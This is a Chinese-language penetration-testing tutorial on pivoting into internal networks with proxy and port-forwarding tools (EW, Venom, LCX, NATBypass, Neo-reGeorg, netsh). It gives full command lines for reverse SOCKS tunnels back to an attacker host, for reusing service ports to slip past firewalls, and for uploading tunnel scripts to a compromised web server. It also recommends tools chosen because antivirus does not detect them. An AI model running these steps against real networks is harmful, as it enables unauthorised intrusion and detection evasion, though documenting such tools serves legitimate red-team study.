内网入口——代理搭建&端口转发

在内网渗透过程中经常会遇到搭建代理和端口转发的情况,本文记录一些常用工具的使用方法,便于查阅,其应用场景并没有全部例举,学习重在领会原理,使用时融会贯通,而不是套固定模式。

文章目录

代理搭建&端口转发

在内网主机上搭建代理是为了以内网主机为跳板,间接访问内网,从而可以对内网进行扫描、访问等操作;而端口转发仅是针对具体端口提供的服务,一般是为了绕过防火墙在传输层设置的访问规则,比如将12345端口转发到3389端口,那么远程桌面访问12345端口就相当于访问3389端口。

代理搭建后,在外网主机上要配置代理,Windows上用Proxyfier,Linux上用Proxychains,浏览器最好用插件,方法都很简单,这里不作介绍,要注意的是目前这些代理都不支持ICMP协议,比如ping是无法经过代理的。

1.EW

(1)介绍

经典的内网穿透工具,具有 SOCKS5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。

已停止更新,而且很多查杀软件已经将EW指纹加入特征库,不做免杀处理的话一经上传即被秒杀,所以推荐使用Venom,更加强大灵活,而且至少目前对大部分查杀软件还是免杀的。

传送门:http://rootkiter.com/EarthWorm/

(2)使用

(版本:free1.2)

命令格式:ew [options] [values]

options包括ssocksd,rcsocks,rssocks,lcx_listen,lcx_tran,lcx_slave,直接输入命令进行查询:

 ./xxx ([-options] [values])*
 options :
 Eg: ./xxx -s ssocksd -h
 -s state setup the function.You can pick one from the following options:
 ssocksd , rcsocks , rssocks , lcx_listen , lcx_tran , lcx_slave
 -l listenport open a port for the service startup.
 -d refhost set the reflection host address.
 -e refport set the reflection port.
 -f connhost set the connect host address.
 -g connport set the connect port.
 -h help show the help text, By adding the -s parameter, you can also see the more detailed help.
 -a about show the about pages
 -v version show the version.             
 -t usectime set the milliseconds for timeout. The default value is 1000
 ......

具体区分如下:

正向代理:ssocksd

在外网主机可以访问内网主机的情况下,利用正向连接搭建代理进入内网:

# 在内网主机(10.1.1.1/1.1.1.2)上搭建代理,监听12345端口
ew_for_Win.exe -s ssocksd -l 12345

然后在外网主机上设置代理为:socks5 1.1.1.2 12345。

反向代理:rcsocks,rssocks

在外网主机无法访问内网主机,但是内网主机可以访问到外网主机的情况下,利用反向连接搭建代理进入内网:

# 先在外网主机(1.1.1.1)上监听12345和8888端口
# 等待目标连接,将12345端口的流量转发到本地8888端口
ew_for_Win.exe -s rcsocks -l 12345 -e 8888

# 然后内网主机和外网主机8888端口建立连接
# 此时访问外网主机的12345端口相当于访问内网主机的8888端口
ew_for_Win.exe -s rssocks -d 1.1.1.1 -e 8888

最后在外网主机上设置代理为:socks5 127.0.0.1 12345。

正向代理+端口转发:ssocksd+lcx_tran

如果内网主机A不可以访问内网,内网主机B可以访问内网,但是内网主机B只能从内网主机A访问,且外网主机可以访问内网主机A,此时可在内网主机A、B做正向代理+端口转发进入内网:

# 内网主机B(10.1.1.2)监听8888端口
ew_for_Win.exe -s ssocksd -l 8888

# 内网主机A(10.1.1.1/1.1.1.2)将本地12345端口的流量转发到内网主机B的8888端口
ew_for_Win.exe -s lcx_tran -l 12345 -f 10.1.1.2 -g 8888

最后在外网主机设置代理为:socks5 1.1.1.2 12345。

反向代理+端口转发:ssocksd+lcx_listen+lcx_slave

情况同上,也可在内网主机A、B做反向代理+端口转发进入内网,区别是在外网主机上开代理,隐蔽性更好些:

# 内网主机B(10.1.1.2)监听8888端口
ew_for_Win.exe -s ssocksd -l 8888

# 外网主机(1.1.1.1)监听12345和9999端口
# 等待目标连接,将12345端口流量转发到本地9999端口
ew_for_Win.exe -s lcx_listen -l 12345 -e 9999

# 内网主机A(10.1.1.1)连接外网主机的9999端口和内网主机B的8888端口
# 隧道连接后,相当于将内网主机B的8888端口映射到外网主机的12345端口
ew_for_Win.exe -s lcx_slave -d 1.1.1.1 -e 9999 -f 10.1.1.2 -g 8888

最后在外网主机设置代理为:socks5 127.0.0.1 12345。

2.Venom

(1)介绍

Go开发的多级代理工具,可将多个节点进行连接,然后以节点为跳板,构建多级代理,可以轻松地将网络流量代理到多层内网,并管理代理节点。

分为admin(管理端)和agent(受控节点),两者都可以开启监听,然后由另一端发起连接,由admin负责管理所有agent节点,支持跨平台Linux/Windows/MacOS。

传送门:https://github.com/Dliv3/Venom

(2)使用

(版本:v1.1.0)

步骤一:开启监听,建立连接

admin和agent都可以监听连接也可发起连接,这一点尤为重要,在防火墙单向流量规则限制时可以灵活处置。可通过-passwd指定密码,该密码用于生成AES加密所需的密钥,对通信流量进行加密。

# admin监听端口,agent主动连接
admin -lport 12345 -passwd P@ssw0rd
agent -rport 12345 -rhost 10.1.1.1 -passwd P@ssw0rd

# agent监听端口,admin主动连接
agent -lport 12345 -passwd P@ssw0rd
admin -rport 12345 -rhost 10.1.1.1 -passwd P@ssw0rd

agent节点支持端口复用功能,可通过端口复用增强隐蔽性,绕过防火墙规则等,在windows上可以复用apache、mysql等服务的端口,但目前还无法复用RDP、IIS等服务端口,在linux上可以复用多数服务端口,被复用的端口仍可正常对外提供其原有服务。

# 复用apache 80端口,不影响apache提供正常的http服务
# -lhost值为本机ip,不能写0.0.0.0,否则无法进行端口复用
agent -lhost 10.1.1.1 -reuse-port 80 -passwd P@ssw0rd
admin -rport 80 -rhost 10.1.1.1 -passwd P@ssw0rd

步骤二:管理节点,搭建代理

连接建立后由admin节点管理所有agent节点,在admin节点可用help命令查询:

(admin node) >>> help

  help                                     Help information.
  exit                                     Exit.
  show                                     Display network topology.
  getdes                                   View description of the target node.
  setdes     [info]                        Add a description to the target node.
  goto       [id]                          Select id as the target node.
  listen     [lport]                       Listen on a port on the target node.
  connect    [rhost] [rport]               Connect to a new node through the target node.
  sshconnect [user@ip:port] [dport]        Connect to a new node through ssh tunnel.
  shell                                    Start an interactive shell on the target node.
  upload     [local_file]  [remote_file]   Upload files to the target node.
  download   [remote_file]  [local_file]   Download files from the target node.
  socks      [lport]                       Start a socks5 server.
  lforward   [lhost] [sport] [dport]       Forward a local sport to a remote dport.
  rforward   [rhost] [sport] [dport]       Forward a remote sport to a local dport.

listen [port]connect [rhost] [rport]命令用于节点间互连,有两种方式:

方式1:先在node1节点开启端口监听,然后node2节点用agent连接

# 先在node1节点监听56789端口
(admin node) >>> show
A
+ -- 1
(admin node) >>> goto 1
(node 1) >>> listen 56789
listen 56789
the port 56789 is successfully listening on the remote node!

# 然后在node2运行agent,连接node1
agent -rhost 10.1.1.2 -rport 56789 -passwd P@ssw0rd

方式2:先在node2节点运行agent开启端口监听,然后node1节点connect命令连接

# 先在node2节点运行agent开启端口监听
agent -lport 56789 -passwd P@ssw0rd

# 然后node1节点connect连接
(node 1) >>> connect 10.1.1.3 56789
connect to 10.1.1.2 56789
successfully connect to the remote port!
(node 1) >>> show
A
+ -- 1
     + -- 2

socks <port>命令用于在admin节点开启侦听端口,建立到agent节点的socks5代理

(node 1) >>> socks 7878
a socks5 proxy of the target node has started up on the local port 7878.

lforward [lhost] [sport] [dport]将本地admin端口sport转发到远程agent端口dport

# 将本地admin的80端口映射到远程agent的12580端口
# 访问agent的12580端口相当于访问admin的80端口
(node 1) >>> goto 2
(node 2) >>> lforward 10.1.1.1 80 12580

rforward [rhost] [sport] [dport]将远程agent端口sport转发到本地admin端口dport

# 将远程agent的80端口映射到本地admin的12580端口
# 访问admin的12580端口相当于访问agent的80端口
(node 2) >>> rforward 10.1.1.3 80 12580

3.LCX

(1)介绍

经典的内网端口转发工具,具有端口转发和端口映射的功能,通常用于将内网主机开放的内部端口映射到外网主机任意端口,很多查杀工具已经将其加入特征库,上传需要做免杀。

传送门:https://github.com/windworst/LCX

(2)使用

端口转发(反向连接)

lcx -listen port1 port2:同时监听本地port1端口和port2端口,当两个客户端主动连接上这两个监听端口之后,LCX负责这两个端口间的数据转发。

lcx -slave ip1:port1 ip2:port2:本地开始主动连接ip1:port1主机和ip2:port2主机,当连接成功之后,LCX负责这两个主机之间的数据转发。

建立反向连接,将内网主机端口转发到外网主机端口,适用于内网主机能访问外网主机,而外网主机不能访问到内网主机的情况:

# 外网主机(1.1.1.1)先通过-listen监听本地8888和12345端口
# 将12345端口的流量转发给8888端口
lcx –listen 8888 12345

# 然后内网主机(10.1.1.1)通过-slave和外网主机建立连接
# 将8888端口流量转发到外网主机(1.1.1.1)的9999端口
lcx –slave 1.1.1.1:8888 10.1.1.1:9999

这样外网主机的12345端口就转发到内网主机的9999端口了,访问外网主机12345端口相当于访问内网主机的9999端口。

端口映射(正向连接)

lcx -tran port1 ip:port2:本地开始监听port1端口,当port1端口上接收到来自客户端的主动连接之后,nb将主动连接ip:port2,并且负责port1端口和ip:port2之间的数据转发。

建立正向连接,将外网主机端口转发到内网主机端口,适用于外网主机可以访问内网主机的情况:

# 外网主机(1.1.1.1)通过-tran监听12345端口
# 将12345端口流量转发到内网主机(10.1.1.1/1.1.1.2)的3389端口
lcx -tran 12345 1.1.1.2:3389

访问外网主机的12345端口相当于访问内网主机的3389端口。

或者将内网主机端口映射本地的其他端口:

# 内网主机(10.1.1.1)通过-tran监听本地12345端口
# 将12345端口流量转发到本地的3389端口
lcx -tran 12345 127.0.0.1:3389

访问内网主机的12345端口,相当于访问其3389端口。

4.NATBypass

(1)介绍

LCX在golang下的实现,更好的跨平台,更完善的文档,免杀性更好。

传送门:https://github.com/cw1997/NATBypass

(2)使用

(版本:v1.0.0)

与LCX完全相同

5.Neo-reGeorg

(1)介绍

SOCKS over HTTP,即通过HTTP隧道转发SOCKS5,reGeorg的改良版。

传送门:https://github.com/L-codes/Neo-reGeorg

(2)使用

(版本:v2.3.1)

在外网主机可以访问内网主机的情况下,正向通过其进入内网。

在外网主机上生成用于搭建代理的隧道文件:

python3 neoreg.py generate -k P@ssw0rd

生成多种类型的脚本文件,如下所示:

  [+] Create neoreg server files:
     => neoreg_servers/tunnel.ashx
     => neoreg_servers/tunnel.aspx
     => neoreg_servers/tunnel.jsp
     => neoreg_servers/tunnel_compatibility.jsp
     => neoreg_servers/tunnel.jspx
     => neoreg_servers/tunnel_compatibility.jspx
     => neoreg_servers/tunnel.php

将脚本文件上传至内网主机网站可以访问的页面,然后在外网主机建立隧道,自动监听本地1080端口:

python3 neoreg.py -k P@ssw0rd -u http://1.1.1.2/tunnel.php

最后在外网主机将代理设置为socks5 127.0.0.1 1080。

6.Netsh

(1)介绍

Windows系统中内置的用来查看和配置计算机网络参数的命令行工具,可用于配置端口转发。

(2)使用

在防火墙设置3389不能接入的条件下,利用端口转发进行绕过。

查看所有的端口转发规则:

netsh interface portproxy show all

在内网主机上添加端口转发规则:

# 在内网主机(10.1.1.1)上添加转发规则
# 将本地12345端口的流量转发到本地3389端口
# 注意不能讲10.1.1.1写成127.0.0.1
netsh interface portproxy add v4tov4 listenaddress=10.1.1.1 listenport=12345 connectaddress=10.1.1.1 connectport=3389

转发规则不再使用后要删除:

# 删除指定的端口转发规则
netsh interface portproxy delete v4tov4 listenport=12345 listenaddress=10.1.1.1

# 删除所有的端口转发规则
netsh interface portproxy reset
上一篇:MongoDB 企业版4.2.2安装


下一篇:exchange server 2016安装后任务